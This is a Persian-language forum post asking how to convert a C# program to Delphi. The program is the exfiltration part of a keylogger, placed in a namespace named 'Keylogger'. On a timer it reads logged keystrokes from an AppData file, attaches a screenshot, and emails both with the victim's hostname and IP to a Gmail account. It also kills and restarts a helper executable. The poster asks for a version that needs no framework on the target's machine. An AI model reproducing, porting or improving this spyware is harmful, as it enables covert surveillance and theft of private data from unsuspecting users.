تبدیل سی شارپ به دلفی

[cloner11]

سلام

من یه برنامه نوشتم به زبان سی شارپ میخوام این رو به دلفی تبدیل کنم میشه راهنمایی کنید؟

[cloner11]

برنامه ای که نوشتم این هست :



using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;


namespace Keylogger
{
class appstart
{
public static string ali = Environment.ExpandEnvironmentVariables("%AppData%");
public static string screen = ali + "\\mst\\screen.jpg";
public static byte caps = 0, shift = 0;


public static void OnTimedEvent(object source, EventArgs e)
{

foreach (Process p in Process.GetProcesses())
{
if (p.ProcessName.ToLower() == "srvet")
p.Kill();
}
StreamReader streamReader = new StreamReader(ali + "\\mst\\file.txt");
string text = streamReader.ReadToEnd();
streamReader.Close();
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("****@gmail.com");
msg.From = new MailAddress("****@gmail.com", "nickname", System.Text.Encoding.UTF8);
DateTime dteDate;
dteDate = DateTime.Now;
string hostName = Dns.GetHostName();
msg.Subject = hostName.ToString() + "-" + dteDate.ToString() + "-" + Dns.GetHostByName(hostName).AddressList[0].ToString();
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = text;

msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;


SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("****@gmail.com", "*****");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
File.WriteAllText(ali + "\\mst\\file.txt", String.Empty);
Attachment data = new Attachment(appstart.screen);
msg.Attachments.Add(data);


try
{
client.Send(msg);

}
catch
{
data.Dispose();
}
data.Dispose();
if (File.Exists(screen))
{
File.Delete(screen);
}
Process.Start(ali + "\\mst\\srvet.exe");



}
}

class InterceptKeys
{
public static void Main()
{

Process.Start(appstart.ali+"\\mst\\srvet.exe");
System.Timers.Timer timer;
timer = new System.Timers.Timer();
timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
timer.AutoReset = true;
timer.Interval = 300000;
timer.Start();
Application.Run();
GC.KeepAlive(timer);
}




}
}


توضیحات:

file.txt یک فایل متنی هست که محتویات اون رو در قسمت body ایمیل قرار میده.

screen.jpg هم یک تصویر ضمیمه ایمیل هستش.

srvet.exe هم یک برنامه هست که قبل از ارسال ایمیل kill میشه و بعد از ارسال مجدد Run میشه.

مشکل من با فریم ورک هست -شاید رو سیستم کاربر یک فریمورک پایین تر نصب باشه !

حالا با دلفی هم نشد مهم نیست . فقط یک زبانی باشه که فریم ورک نخواد